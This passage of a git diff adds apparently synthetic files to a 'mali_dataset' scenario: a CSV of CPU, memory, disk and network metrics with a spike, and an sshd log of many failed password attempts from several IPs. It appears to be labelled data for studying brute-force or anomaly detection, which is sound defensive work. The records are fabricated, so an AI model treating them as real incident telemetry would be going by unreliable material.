21 14:05:19 sshd[29118]: Failed password for invalid user guest from 203.0.113.55 port 54176 +Sep 21 14:05:19 sshd[29118]: Failed password for ubuntu from 203.0.113.55 port 57576 ssh2 +Sep 21 14:05:20 sshd[25267]: Failed password for invalid user service from 203.0.113.55 port 46712 +Sep 21 14:05:20 sshd[25267]: Failed password for invalid user webmaster from 203.0.113.56 port 42559 +Sep 21 14:05:20 sshd[25267]: Failed password for user from 203.0.113.58 port 15542 ssh2 +Sep 21 14:05:21 sshd[25267]: Failed password for invalid user backup from 203.0.113.58 port 39822 +Sep 21 14:05:21 sshd[25267]: Failed password for webmaster from 203.0.113.58 port 33250 ssh2 +Sep 21 14:05:23 sshd[25267]: Failed password for invalid user test from 203.0.113.58 port 28806 +Sep 21 14:05:24 sshd[25267]: Failed password for ec2-user from 203.0.113.56 port 57165 ssh2 +Sep 21 14:05:24 sshd[25267]: Failed password for invalid user user from 203.0.113.55 port 20880 +Sep 21 14:06:40 CRON[14357]: (root) CMD ( /usr/lib/sa/sa1 1 1 ) diff --git a/mali_dataset/scenario_7/mali_7_20.csv b/mali_dataset/scenario_7/mali_7_20.csv new file mode 100644 index 0000000000000000000000000000000000000000..c8ed108006b09e0aea45b7de10727042405112ab --- /dev/null +++ b/mali_dataset/scenario_7/mali_7_20.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-26T14:00:00Z,12.43,36.37,26.76,0.81,0.81 +2025-08-26T14:00:05Z,11.85,35.35,31.54,1.08,1.04 +2025-08-26T14:00:10Z,13.33,40.16,33.8,1.24,1.06 +2025-08-26T14:00:15Z,16.75,37.0,35.89,1.28,0.95 +2025-08-26T14:00:20Z,17.05,43.44,37.17,0.97,1.1 +2025-08-26T14:00:25Z,13.0,41.4,38.44,0.86,1.22 +2025-08-26T14:00:30Z,19.82,39.77,20.12,0.82,1.3 +2025-08-26T14:00:35Z,19.32,38.08,38.12,1.02,1.09 +2025-08-26T14:00:40Z,11.84,42.96,33.92,0.95,0.91 +2025-08-26T14:00:45Z,19.94,37.65,23.13,1.19,0.99 +2025-08-26T14:00:50Z,18.17,44.0,28.87,0.83,0.91 +2025-08-26T14:00:55Z,17.83,43.68,35.99,1.0,1.01 +2025-08-26T14:01:00Z,14.86,36.14,34.44,1.29,0.81 +2025-08-26T14:01:05Z,17.27,35.42,23.01,1.07,0.98 +2025-08-26T14:01:10Z,13.92,44.32,27.56,1.06,1.06 +2025-08-26T14:01:15Z,13.96,36.52,20.85,1.18,1.14 +2025-08-26T14:01:20Z,15.71,37.57,37.78,0.82,0.89 +2025-08-26T14:01:25Z,13.22,42.85,24.54,1.31,0.7 +2025-08-26T14:01:30Z,18.13,40.37,30.07,1.17,1.21 +2025-08-26T14:01:35Z,15.94,39.02,30.59,1.25,1.07 +2025-08-26T14:01:40Z,14.38,43.28,25.03,1.47,0.84 +2025-08-26T14:01:45Z,15.81,35.82,28.76,1.32,0.78 +2025-08-26T14:01:50Z,13.6,35.3,37.75,1.36,1.12 +2025-08-26T14:01:55Z,12.71,44.05,34.05,1.22,1.01 +2025-08-26T14:02:00Z,10.33,39.52,21.52,1.17,1.15 +2025-08-26T14:02:05Z,17.01,35.68,28.42,0.83,0.77 +2025-08-26T14:02:10Z,18.3,38.39,25.58,1.14,0.82 +2025-08-26T14:02:15Z,14.43,42.5,30.81,1.23,0.75 +2025-08-26T14:02:20Z,17.68,35.77,29.68,1.5,1.23 +2025-08-26T14:02:25Z,17.47,40.37,24.46,1.32,0.73 +2025-08-26T14:02:30Z,20.0,43.27,21.01,23.81,1.18 +2025-08-26T14:02:35Z,27.5,39.21,26.45,23.25,1.07 +2025-08-26T14:02:40Z,35.0,37.95,35.24,21.31,0.8 +2025-08-26T14:02:45Z,42.5,41.14,27.37,20.4,1.02 +2025-08-26T14:02:50Z,50.0,41.07,37.87,21.86,0.82 +2025-08-26T14:02:55Z,57.5,34.22,32.35,23.61,1.2 +2025-08-26T14:03:00Z,65.0,36.53,35.67,8.31,1.16 +2025-08-26T14:03:05Z,72.5,38.58,32.04,24.39,1.26 +2025-08-26T14:03:10Z,80.0,42.34,35.03,18.51,1.2 +2025-08-26T14:03:15Z,87.5,40.22,28.84,16.92,0.98 +2025-08-26T14:03:20Z,85.25,38.64,27.89,17.01,1.24 +2025-08-26T14:03:25Z,95.73,45.22,26.65,9.34,1.18 +2025-08-26T14:03:30Z,95.5,34.51,20.82,12.39,0.94 +2025-08-26T14:03:35Z,93.12,35.77,32.78,15.87,0.84 +2025-08-26T14:03:40Z,96.4,41.68,35.2,17.19,0.81 +2025-08-26T14:03:45Z,94.41,41.22,31.78,16.75,0.93 +2025-08-26T14:03:50Z,87.03,46.71,35.73,14.13,1.29 +2025-08-26T14:03:55Z,88.37,40.89,24.09,23.27,0.84 +2025-08-26T14:04:00Z,92.8,43.04,29.63,20.12,0.84 +2025-08-26T14:04:05Z,87.69,36.14,22.38,18.72,0.75 +2025-08-26T14:04:10Z,94.03,43.64,39.13,19.5,0.9 +2025-08-26T14:04:15Z,95.3,34.06,27.84,10.19,0.98 +2025-08-26T14:04:20Z,90.39,37.12,31.42,18.33,1.24 +2025-08-26T14:04:25Z,85.81,43.6,24.09,19.25,1.01 +2025-08-26T14:04:30Z,95.7,39.03,35.71,21.18,0.77 +2025-08-26T14:04:35Z,97.51,39.07,33.76,10.91,0.95 +2025-08-26T14:04:40Z,90.47,38.0,40.68,12.16,0.88 +2025-08-26T14:04:45Z,97.25,35.73,21.56,16.73,1.2 +2025-08-26T14:04:50Z,87.77,41.01,41.28,20.5,0.98 +2025-08-26T14:04:55Z,92.32,41.47,25.3,15.23,1.09 +2025-08-26T14:05:00Z,87.05,44.34,30.96,19.31,1.03 +2025-08-26T14:05:05Z,96.83,36.47,27.12,12.2,1.28 +2025-08-26T14:05:10Z,95.26,36.27,38.86,16.41,1.15 +2025-08-26T14:05:15Z,96.69,43.76,28.11,24.75,1.08 +2025-08-26T14:05:20Z,86.11,42.03,25.52,22.39,1.01 +2025-08-26T14:05:25Z,88.25,41.64,21.43,21.28,1.04 +2025-08-26T14:05:30Z,97.58,42.92,38.69,11.6,1.07 +2025-08-26T14:05:35Z,91.78,35.7,20.76,19.92,0.85 +2025-08-26T14:05:40Z,92.58,39.0,23.86,13.54,1.0 +2025-08-26T14:05:45Z,90.46,43.55,44.11,20.16,1.25 +2025-08-26T14:05:50Z,88.3,38.28,24.2,23.31,1.03 +2025-08-26T14:05:55Z,87.5,44.59,31.98,13.06,1.09 +2025-08-26T14:06:00Z,80.0,40.8,35.86,9.6,1.04 +2025-08-26T14:06:05Z,72.5,38.82,38.43,16.12,0.93 +2025-08-26T14:06:10Z,65.0,45.07,27.28,11.27,0.8 +2025-08-26T14:06:15Z,57.5,40.01,30.79,21.94,0.85 +2025-08-26T14:06:20Z,50.0,39.56,30.63,18.83,0.83 +2025-08-26T14:06:25Z,42.5,42.84,23.88,18.4,1.3 +2025-08-26T14:06:30Z,35.0,35.37,24.08,19.39,0.77 +2025-08-26T14:06:35Z,27.5,41.0,22.49,20.4,0.74 +2025-08-26T14:06:40Z,12.0,42.82,29.69,0.88,0.71 +2025-08-26T14:06:45Z,19.7,38.33,38.59,1.35,0.76 +2025-08-26T14:06:50Z,14.4,39.34,36.03,0.82,0.88 +2025-08-26T14:06:55Z,14.16,42.45,37.87,1.17,0.91 +2025-08-26T14:07:00Z,13.78,42.63,26.36,1.37,1.28 +2025-08-26T14:07:05Z,13.8,42.7,24.53,1.44,1.13 +2025-08-26T14:07:10Z,18.66,40.1,35.89,1.39,1.01 +2025-08-26T14:07:15Z,12.61,40.19,30.34,1.24,1.13 +2025-08-26T14:07:20Z,14.64,41.45,31.02,0.93,1.29 +2025-08-26T14:07:25Z,11.92,37.49,38.82,1.4,0.94 diff --git a/mali_dataset/scenario_7/mali_7_20.log b/mali_dataset/scenario_7/mali_7_20.log new file mode 100644 index 0000000000000000000000000000000000000000..15cb8b3ef7c6b34d3d531fb908f0d8643fb4464f --- /dev/null +++ b/mali_dataset/scenario_7/mali_7_20.log @@ -0,0 +1,1137 @@ +Aug 26 14:00:00 systemd[1]: Starting daily clean up activities... +Aug 26 14:00:00 CRON[123]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 14:00:00 sshd[7581]: Accepted publickey for user from 192.168.1.10 port 51234 ssh2 +Aug 26 14:00:40 sshd[2944]: Accepted publickey for user from 192.168.1.10 port 51234 ssh2 +Aug 26 14:01:15 systemd[1]: Starting daily clean up activities... +Aug 26 14:01:20 sshd[3414]: Accepted publickey for user from 192.168.1.10 port 51234 ssh2 +Aug 26 14:02:00 sshd[6709]: Accepted publickey for user from 192.168.1.10 port 51234 ssh2 +Aug 26 14:02:05 CRON[3198]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 14:02:30 systemd[1]: Starting daily clean up activities... +Aug 26 14:02:30 sshd[7958]: Failed password for invalid user git from 203.0.113.12 port 43421 ssh2 +Aug 26 14:02:31 sshd[3242]: Failed password for invalid user git from 198.51.100.55 port 21101 ssh2 +Aug 26 14:02:31 sshd[6502]: Failed password for invalid user webmaster from 10.1.1.200 port 34583 ssh2 +Aug 26 14:02:31 sshd[5209]: Failed password for invalid user ftpuser from 10.1.1.200 port 47733 ssh2 +Aug 26 14:02:32 sshd[4183]: Failed password for invalid user dev from 172.16.254.10 port 43516 ssh2 +Aug 26 14:02:32 sshd[3586]: Failed password for invalid user git from 10.1.1.200 port 27836 ssh2 +Aug 26 14:02:33 sshd[6243]: Failed password for invalid user git from 172.16.254.10 port 25620 ssh2 +Aug 26 14:02:33 sshd[2179]: Failed password for service from 172.16.254.10 port 55814 ssh2 +Aug 26 14:02:33 sshd[5199]: Failed password for guest from 10.1.1.200 port 30955 ssh2 +Aug 26 14:02:33 sshd[7201]: Failed password for invalid user git from 10.1.1.200 port 29632 ssh2 +Aug 26 14:02:34 sshd[6299]: Failed password for invalid user dev from 203.0.113.12 port 60465 ssh2 +Aug 26 14:02:34 sshd[5644]: Failed password for invalid user dev from 10.1.1.200 port 49938 ssh2 +Aug 26 14:02:34 sshd[6570]: Failed password for backup from 203.0.113.12 port 63785 ssh2 +Aug 26 14:02:34 sshd[5434]: Failed password for root from 172.16.254.10 port 60182 ssh2 +Aug 26 14:02:34 sshd[6327]: Failed password for invalid user deploy from 203.0.113.12 port 50440 ssh2 +Aug 26 14:02:34 sshd[7352]: Failed password for backup from 203.0.113.12 port 41474 ssh2 +Aug 26 14:02:35 sshd[6471]: Failed password for invalid user dev from 203.0.113.12 port 62482 ssh2 +Aug 26 14:02:36 sshd[5003]: Failed password for invalid user ftpuser from 10.1.1.200 port 62174 ssh2 +Aug 26 14:02:36 sshd[6951]: Failed password for invalid user ftpuser from 198.51.100.55 port 46067 ssh2 +Aug 26 14:02:37 sshd[5629]: Failed password for user from 10.1.1.200 port 24949 ssh2 +Aug 26 14:02:37 sshd[3270]: Failed password for invalid user webmaster from 10.1.1.200 port 32002 ssh2 +Aug 26 14:02:37 sshd[6430]: Failed password for invalid user git from 203.0.113.12 port 19300 ssh2 +Aug 26 14:02:37 sshd[4671]: Failed password for invalid user git from 203.0.113.12 port 11491 ssh2 +Aug 26 14:02:38 sshd[2873]: Failed password for invalid user webmaster from 198.51.100.55 port 26061 ssh2 +Aug 26 14:02:38 sshd[2582]: Failed password for invalid user git from 172.16.254.10 port 46361 ssh2 +Aug 26 14:02:39 sshd[4198]: Failed password for user from 10.1.1.200 port 42745 ssh2 +Aug 26 14:02:39 sshd[4631]: Failed password for guest from 172.16.254.10 port 44022 ssh2 +Aug 26 14:02:39 sshd[4427]: Failed password for invalid user webmaster from 172.16.254.10 port 63095 ssh2 +Aug 26 14:02:39 sshd[4192]: Failed password for invalid user ftpuser from 10.1.1.200 port 59418 ssh2 +Aug 26 14:02:39 sshd[7952]: Failed password for invalid user sqladmin from 198.51.100.55 port 52338 ssh2 +Aug 26 14:02:39 sshd[3810]: Failed password for invalid user sqladmin from 198.51.100.55 port 20142 ssh2 +Aug 26 14:02:39 sshd[7175]: Failed password for invalid user git from 10.1.1.200 port 29393 ssh2 +Aug 26 14:02:39 sshd[6125]: Failed password for guest from 172.16.254.10 port 49587 ssh2 +Aug 26 14:02:40 sshd[6722]: Failed password for invalid user ftpuser from 203.0.113.12 port 39119 ssh2 +Aug 26 14:02:40 sshd[2177]: Failed password for invalid user webmaster from 10.1.1.200 port 34052 ssh2 +Aug 26 14:02:40 sshd[7882]: Failed password for invalid user dev from 198.51.100.55 port 48729 ssh2 +Aug 26 14:02:40 sshd[5770]: Failed password for invalid user git from 10.1.1.200 port 18446 ssh2 +Aug 26 14:02:40 sshd[5643]: Failed password for invalid user sqladmin from 198.51.100.55 port 26566 ssh2 +Aug 26 14:02:40 sshd[5651]: Failed password for invalid user webmaster from 198.51.100.55 port 50808 ssh2 +Aug 26 14:02:40 sshd[4412]: Failed password for invalid user dev from 198.51.100.55 port 14465 ssh2 +Aug 26 14:02:40 sshd[5163]: Failed password for invalid user ftpuser from 198.51.100.55 port 36168 ssh2 +Aug 26 14:02:40 sshd[2408]: Failed password for invalid user dev from 172.16.254.10 port 12299 ssh2 +Aug 26 14:02:40 sshd[2348]: Failed password for invalid user webmaster from 203.0.113.12 port 62845 ssh2 +Aug 26 14:02:40 sshd[7109]: Failed password for invalid user git from 172.16.254.10 port 10271 ssh2 +Aug 26 14:02:41 sshd[5267]: Failed password for invalid user ftpuser from 10.1.1.200 port 25844 ssh2 +Aug 26 14:02:41 sshd[6494]: Failed password for ubuntu from 198.51.100.55 port 18949 ssh2 +Aug 26 14:02:41 sshd[4569]: Failed password for invalid user dev from 203.0.113.12 port 22073 ssh2 +Aug 26 14:02:41 sshd[2258]: Failed password for invalid user sqladmin from 10.1.1.200 port 32562 ssh2 +Aug 26 14:02:42 sshd[7046]: Failed password for invalid user sqladmin from 203.0.113.12 port 22063 ssh2 +Aug 26 14:02:43 sshd[6802]: Failed password for invalid user sqladmin from 203.0.113.12 port 14342 ssh2 +Aug 26 14:02:43 sshd[6746]: Failed password for invalid user ftpuser from 10.1.1.200 port 60673 ssh2 +Aug 26 14:02:43 sshd[7714]: Failed password for invalid user deploy from 203.0.113.12 port 18306 ssh2 +Aug 26 14:02:43 sshd[5370]: Failed password for invalid user deploy from 10.1.1.200 port 43792 ssh2 +Aug 26 14:02:43 sshd[5166]: Failed password for invalid user sqladmin from 198.51.100.55 port 13666 ssh2 +Aug 26 14:02:43 sshd[4471]: Failed password for ubuntu from 203.0.113.12 port 10077 ssh2 +Aug 26 14:02:44 sshd[5025]: Failed password for invalid user dev from 172.16.254.10 port 35302 ssh2 +Aug 26 14:02:44 sshd[6603]: Failed password for guest from 172.16.254.10 port 32584 ssh2 +Aug 26 14:02:44 sshd[7930]: Failed password for invalid user dev from 203.0.113.12 port 50812 ssh2 +Aug 26 14:02:44 sshd[3570]: Failed password for invalid user deploy from 172.16.254.10 port 18700 ssh2 +Aug 26 14:02:45 sshd[2295]: Failed password for invalid user webmaster from 198.51.100.55 port 54624 ssh2 +Aug 26 14:02:45 sshd[5293]: Failed password for invalid user webmaster from 10.1.1.200 port 30260 ssh2 +Aug 26 14:02:45 sshd[6462]: Failed password for ec2-user from 203.0.113.12 port 29871 ssh2 +Aug 26 14:02:45 sshd[7507]: Failed password for ec2-user from 172.16.254.10 port 51547 ssh2 +Aug 26 14:02:46 sshd[7545]: Failed password for invalid user git from 203.0.113.12 port 42570 ssh2 +Aug 26 14:02:46 sshd[2166]: Failed password for invalid user sqladmin from 198.51.100.55 port 33187 ssh2 +Aug 26 14:02:46 sshd[7625]: Failed password for invalid user git from 198.51.100.55 port 52773 ssh2 +Aug 26 14:02:47 sshd[4779]: Failed password for invalid user dev from 172.16.254.10 port 46147 ssh2 +Aug 26 14:02:47 sshd[5645]: Failed password for user from 10.1.1.200 port 14609 ssh2 +Aug 26 14:02:47 sshd[2629]: Failed password for invalid user sqladmin from 198.51.100.55 port 16324 ssh2 +Aug 26 14:02:47 sshd[3844]: Failed password for invalid user deploy from 10.1.1.200 port 28733 ssh2 +Aug 26 14:02:48 sshd[7156]: Failed password for admin from 10.1.1.200 port 61926 ssh2 +Aug 26 14:02:48 sshd[6842]: Failed password for invalid user webmaster from 203.0.113.12 port 59089 ssh2 +Aug 26 14:02:49 sshd[4835]: Failed password for invalid user deploy from 172.16.254.10 port 63312 ssh2 +Aug 26 14:02:49 sshd[5105]: Failed password for user from 203.0.113.12 port 61968 ssh2 +Aug 26 14:02:49 sshd[7214]: Failed password for invalid user dev from 198.51.100.55 port 23769 ssh2 +Aug 26 14:02:50 sshd[2413]: Failed password for invalid user sqladmin from 198.51.100.55 port 50408 ssh2 +Aug 26 14:02:50 sshd[7972]: Failed password for invalid user dev from 172.16.254.10 port 46873 ssh2 +Aug 26 14:02:50 sshd[7022]: Failed password for invalid user webmaster from 198.51.100.55 port 29284 ssh2 +Aug 26 14:02:50 sshd[3642]: Failed password for guest from 198.51.100.55 port 40562 ssh2 +Aug 26 14:02:50 sshd[3222]: Failed password for admin from 198.51.100.55 port 28311 ssh2 +Aug 26 14:02:50 sshd[7202]: Failed password for invalid user sqladmin from 172.16.254.10 port 55423 ssh2 +Aug 26 14:02:50 sshd[3526]: Failed password for invalid user git from 172.16.254.10 port 17984 ssh2 +Aug 26 14:02:51 sshd[7381]: Failed password for invalid user webmaster from 10.1.1.200 port 58631 ssh2 +Aug 26 14:02:51 sshd[2215]: Failed password for backup from 198.51.100.55 port 54222 ssh2 +Aug 26 14:02:51 sshd[7512]: Failed password for invalid user deploy from 203.0.113.12 port 57801 ssh2 +Aug 26 14:02:51 sshd[4554]: Failed password for invalid user git from 10.1.1.200 port 61604 ssh2 +Aug 26 14:02:51 sshd[6627]: Failed password for user from 10.1.1.200 port 45397 ssh2 +Aug 26 14:02:52 sshd[3895]: Failed password for invalid user deploy from 10.1.1.200 port 24601 ssh2 +Aug 26 14:02:52 sshd[2320]: Failed password for invalid user webmaster from 10.1.1.200 port 61127 ssh2 +Aug 26 14:02:52 sshd[7658]: Failed password for invalid user sqladmin from 203.0.113.12 port 59636 ssh2 +Aug 26 14:02:52 sshd[5943]: Failed password for invalid user deploy from 10.1.1.200 port 27894 ssh2 +Aug 26 14:02:52 sshd[7062]: Failed password for invalid user webmaster from 10.1.1.200 port 14828 ssh2 +Aug 26 14:02:52 sshd[5480]: Failed password for invalid user git from 172.16.254.10 port 42957 ssh2 +Aug 26 14:02:52 sshd[7747]: Failed password for invalid user sqladmin from 172.16.254.10 port 31362 ssh2 +Aug 26 14:02:53 sshd[5709]: Failed password for service from 172.16.254.10 port 15974 ssh2 +Aug 26 14:02:53 sshd[5710]: Failed password for invalid user dev from 10.1.1.200 port 21150 ssh2 +Aug 26 14:02:53 sshd[5654]: Failed password for invalid user dev from 10.1.1.200 port 28685 ssh2 +Aug 26 14:02:53 sshd[3111]: Failed password for ubuntu from 198.51.100.55 port 52958 ssh2 +Aug 26 14:02:54 sshd[3474]: Failed password for invalid user deploy from 203.0.113.12 port 25804 ssh2 +Aug 26 14:02:54 sshd[6104]: Failed password for invalid user dev from 172.16.254.10 port 58106 ssh2 +Aug 26 14:02:54 sshd[3099]: Failed password for invalid user git from 198.51.100.55 port 54396 ssh2 +Aug 26 14:02:54 sshd[7826]: Failed password for backup from 172.16.254.10 port 39913 ssh2 +Aug 26 14:02:55 sshd[6665]: Failed password for invalid user ftpuser from 198.51.100.55 port 31948 ssh2 +Aug 26 14:02:55 sshd[3829]: Failed password for service from 10.1.1.200 port 57943 ssh2 +Aug 26 14:02:55 sshd[7164]: Failed password for invalid user webmaster from 172.16.254.10 port 30695 ssh2 +Aug 26 14:02:55 sshd[5319]: Failed password for invalid user webmaster from 198.51.100.55 port 17609 ssh2 +Aug 26 14:02:55 sshd[7039]: Failed password for invalid user dev from 10.1.1.200 port 21258 ssh2 +Aug 26 14:02:55 sshd[2153]: Failed password for invalid user sqladmin from 203.0.113.12 port 33720 ssh2 +Aug 26 14:02:55 sshd[3975]: Failed password for invalid user sqladmin from 198.51.100.55 port 59619 ssh2 +Aug 26 14:02:56 sshd[7629]: Failed password for invalid user sqladmin from 203.0.113.12 port 19610 ssh2 +Aug 26 14:02:56 sshd[5260]: Failed password for test from 198.51.100.55 port 43351 ssh2 +Aug 26 14:02:56 sshd[6874]: Failed password for admin from 10.1.1.200 port 39163 ssh2 +Aug 26 14:02:56 sshd[4498]: Failed password for user from 203.0.113.12 port 12798 ssh2 +Aug 26 14:02:56 sshd[5628]: Failed password for admin from 198.51.100.55 port 46192 ssh2 +Aug 26 14:02:56 sshd[5389]: Failed password for invalid user git from 10.1.1.200 port 25706 ssh2 +Aug 26 14:02:56 sshd[3002]: Failed password for invalid user sqladmin from 172.16.254.10 port 11134 ssh2 +Aug 26 14:02:56 sshd[7601]: Failed password for invalid user deploy from 10.1.1.200 port 64476 ssh2 +Aug 26 14:02:56 sshd[5438]: Failed password for invalid user dev from 203.0.113.12 port 13020 ssh2 +Aug 26 14:02:56 sshd[2158]: Failed password for invalid user deploy from 203.0.113.12 port 59133 ssh2 +Aug 26 14:02:57 sshd[6409]: Failed password for invalid user dev from 172.16.254.10 port 31804 ssh2 +Aug 26 14:02:57 sshd[5462]: Failed password for invalid user deploy from 198.51.100.55 port 14066 ssh2 +Aug 26 14:02:57 sshd[2883]: Failed password for root from 198.51.100.55 port 46434 ssh2 +Aug 26 14:02:57 sshd[7985]: Failed password for invalid user dev from 198.51.100.55 port 29164 ssh2 +Aug 26 14:02:57 sshd[7114]: Failed password for invalid user sqladmin from 203.0.113.12 port 44383 ssh2 +Aug 26 14:02:58 sshd[5324]: Failed password for invalid user git from 203.0.113.12 port 26393 ssh2 +Aug 26 14:02:58 sshd[3679]: Failed password for invalid user deploy from 172.16.254.10 port 13171 ssh2 +Aug 26 14:02:58 sshd[2567]: Failed password for invalid user dev from 172.16.254.10 port 54740 ssh2 +Aug 26 14:02:58 sshd[7407]: Failed password for invalid user ftpuser from 203.0.113.12 port 37368 ssh2 +Aug 26 14:02:58 sshd[7241]: Failed password for guest from 203.0.113.12 port 41735 ssh2 +Aug 26 14:02:58 sshd[6878]: Failed password for invalid user ftpuser from 198.51.100.55 port 50228 ssh2 +Aug 26 14:03:00 sshd[7597]: Failed password for invalid user ftpuser from 10.1.1.200 port 51141 ssh2 +Aug 26 14:03:00 sshd[3599]: Failed password for user from 10.1.1.200 port 10038 ssh2 +Aug 26 14:03:00 sshd[5832]: Failed password for invalid user git from 203.0.113.12 port 65159 ssh2 +Aug 26 14:03:00 sshd[6276]: Failed password for invalid user webmaster from 203.0.113.12 port 57215 ssh2 +Aug 26 14:03:01 sshd[6543]: Failed password for invalid user sqladmin from 172.16.254.10 port 37437 ssh2 +Aug 26 14:03:01 sshd[7923]: Failed password for invalid user ftpuser from 198.51.100.55 port 64542 ssh2 +Aug 26 14:03:01 sshd[7761]: Failed password for invalid user sqladmin from 172.16.254.10 port 31415 ssh2 +Aug 26 14:03:01 sshd[6618]: Failed password for invalid user dev from 172.16.254.10 port 64607 ssh2 +Aug 26 14:03:01 sshd[5269]: Failed password for invalid user deploy from 203.0.113.12 port 55352 ssh2 +Aug 26 14:03:01 sshd[2289]: Failed password for invalid user sqladmin from 172.16.254.10 port 44331 ssh2 +Aug 26 14:03:01 sshd[2079]: Failed password for invalid user webmaster from 203.0.113.12 port 58654 ssh2 +Aug 26 14:03:02 sshd[4085]: Failed password for root from 172.16.254.10 port 57132 ssh2 +Aug 26 14:03:02 sshd[5290]: Failed password for invalid user deploy from 10.1.1.200 port 45861 ssh2 +Aug 26 14:03:03 sshd[7367]: Failed password for invalid user webmaster from 10.1.1.200 port 45312 ssh2 +Aug 26 14:03:04 sshd[5496]: Failed password for ec2-user from 198.51.100.55 port 63556 ssh2 +Aug 26 14:03:04 sshd[2952]: Failed password for user from 198.51.100.55 port 32666 ssh2 +Aug 26 14:03:05 sshd[4137]: Failed password for invalid user webmaster from 10.1.1.200 port 22102 ssh2 +Aug 26 14:03:05 sshd[5444]: Failed password for service from 172.16.254.10 port 55012 ssh2 +Aug 26 14:03:05 sshd[6468]: Failed password for root from 10.1.1.200 port 22055 ssh2 +Aug 26 14:03:05 sshd[5494]: Failed password for invalid user git from 172.16.254.10 port 54047 ssh2 +Aug 26 14:03:05 sshd[5745]: Failed password for test from 198.51.100.55 port 18008 ssh2 +Aug 26 14:03:05 sshd[2885]: Failed password for invalid user git from 203.0.113.12 port 39807 ssh2 +Aug 26 14:03:06 sshd[2518]: Failed password for ec2-user from 198.51.100.55 port 51178 ssh2 +Aug 26 14:03:06 sshd[3662]: Failed password for invalid user dev from 203.0.113.12 port 56593 ssh2 +Aug 26 14:03:06 sshd[3684]: Failed password for backup from 203.0.113.12 port 10046 ssh2 +Aug 26 14:03:06 sshd[3682]: Failed password for invalid user webmaster from 198.51.100.55 port 20754 ssh2 +Aug 26 14:03:06 sshd[3568]: Failed password for invalid user webmaster from 198.51.100.55 port 52328 ssh2 +Aug 26 14:03:06 sshd[7431]: Failed password for invalid user sqladmin from 172.16.254.10 port 62152 ssh2 +Aug 26 14:03:07 sshd[4147]: Failed password for ubuntu from 10.1.1.200 port 16125 ssh2 +Aug 26 14:03:07 sshd[3664]: Failed password for invalid user deploy from 203.0.113.12 port 29181 ssh2 +Aug 26 14:03:07 sshd[6502]: Failed password for invalid user git from 172.16.254.10 port 52491 ssh2 +Aug 26 14:03:07 sshd[6547]: Failed password for invalid user git from 172.16.254.10 port 13767 ssh2 +Aug 26 14:03:08 sshd[5888]: Failed password for invalid user dev from 198.51.100.55 port 38624 ssh2 +Aug 26 14:03:08 sshd[7822]: Failed password for root from 10.1.1.200 port 42952 ssh2 +Aug 26 14:03:08 sshd[5494]: Failed password for invalid user dev from 198.51.100.55 port 23577 ssh2 +Aug 26 14:03:08 sshd[4374]: Failed password for invalid user git from 203.0.113.12 port 62650 ssh2 +Aug 26 14:03:09 sshd[6659]: Failed password for invalid user ftpuser from 10.1.1.200 port 19654 ssh2 +Aug 26 14:03:09 sshd[2892]: Failed password for invalid user sqladmin from 203.0.113.12 port 34216 ssh2 +Aug 26 14:03:09 sshd[3347]: Failed password for invalid user dev from 203.0.113.12 port 59227 ssh2 +Aug 26 14:03:10 sshd[6884]: Failed password for invalid user git from 203.0.113.12 port 21375 ssh2 +Aug 26 14:03:11 sshd[2466]: Failed password for invalid user deploy from 172.16.254.10 port 23588 ssh2 +Aug 26 14:03:12 sshd[7034]: Failed password for invalid user ftpuser from 10.1.1.200 port 44210 ssh2 +Aug 26 14:03:12 sshd[4022]: Failed password for root from 203.0.113.12 port 34726 ssh2 +Aug 26 14:03:12 sshd[3638]: Failed password for invalid user dev from 10.1.1.200 port 32491 ssh2 +Aug 26 14:03:12 sshd[6641]: Failed password for guest from 10.1.1.200 port 23998 ssh2 +Aug 26 14:03:12 sshd[5303]: Failed password for invalid user webmaster from 198.51.100.55 port 61969 ssh2 +Aug 26 14:03:12 sshd[5804]: Failed password for backup from 172.16.254.10 port 26836 ssh2 +Aug 26 14:03:13 sshd[3114]: Failed password for guest from 172.16.254.10 port 56081 ssh2 +Aug 26 14:03:13 sshd[4463]: Failed password for user from 198.51.100.55 port 54516 ssh2 +Aug 26 14:03:14 sshd[4151]: Failed password for invalid user dev from 203.0.113.12 port 44332 ssh2 +Aug 26 14:03:14 sshd[7090]: Failed password for invalid user sqladmin from 198.51.100.55 port 53071 ssh2 +Aug 26 14:03:14 sshd[7516]: Failed password for invalid user webmaster from 198.51.100.55 port 43237 ssh2 +Aug 26 14:03:14 sshd[6558]: Failed password for invalid user ftpuser from 203.0.113.12 port 43482 ssh2 +Aug 26 14:03:14 sshd[7112]: Failed password for invalid user sqladmin from 10.1.1.200 port 39083 ssh2 +Aug 26 14:03:14 sshd[6621]: Failed password for invalid user dev from 203.0.113.12 port 43527 ssh2 +Aug 26 14:03:15 sshd[7639]: Failed password for guest from 172.16.254.10 port 19481 ssh2 +Aug 26 14:03:15 sshd[6834]: Failed password for invalid user git from 10.1.1.200 port 46390 ssh2 +Aug 26 14:03:15 sshd[4083]: Failed password for user from 172.16.254.10 port 54032 ssh2 +Aug 26 14:03:16 sshd[4404]: Failed password for service from 172.16.254.10 port 13387 ssh2 +Aug 26 14:03:16 sshd[4554]: Failed password for invalid user git from 203.0.113.12 port 59121 ssh2 +Aug 26 14:03:16 sshd[7560]: Failed password for service from 172.16.254.10 port 60544 ssh2 +Aug 26 14:03:16 sshd[3746]: Failed password for ubuntu from 172.16.254.10 port 52768 ssh2 +Aug 26 14:03:16 sshd[6009]: Failed password for invalid user sqladmin from 10.1.1.200 port 18375 ssh2 +Aug 26 14:03:17 sshd[3372]: Failed password for invalid user ftpuser from 198.51.100.55 port 57023 ssh2 +Aug 26 14:03:17 sshd[6061]: Failed password for invalid user dev from 10.1.1.200 port 46797 ssh2 +Aug 26 14:03:17 sshd[2329]: Failed password for invalid user git from 172.16.254.10 port 37146 ssh2 +Aug 26 14:03:17 sshd[6536]: Failed password for backup from 10.1.1.200 port 27751 ssh2 +Aug 26 14:03:17 sshd[7038]: Failed password for invalid user dev from 172.16.254.10 port 43533 ssh2 +Aug 26 14:03:17 sshd[2108]: Failed password for invalid user webmaster from 203.0.113.12 port 51882 ssh2 +Aug 26 14:03:18 sshd[5584]: Failed password for root from 203.0.113.12 port 32089 ssh2 +Aug 26 14:03:18 sshd[4512]: Failed password for invalid user dev from 203.0.113.12 port 46728 ssh2 +Aug 26 14:03:18 sshd[5522]: Failed password for service from 172.16.254.10 port 61894 ssh2 +Aug 26 14:03:18 sshd[4047]: Failed password for invalid user deploy from 203.0.113.12 port 10323 ssh2 +Aug 26 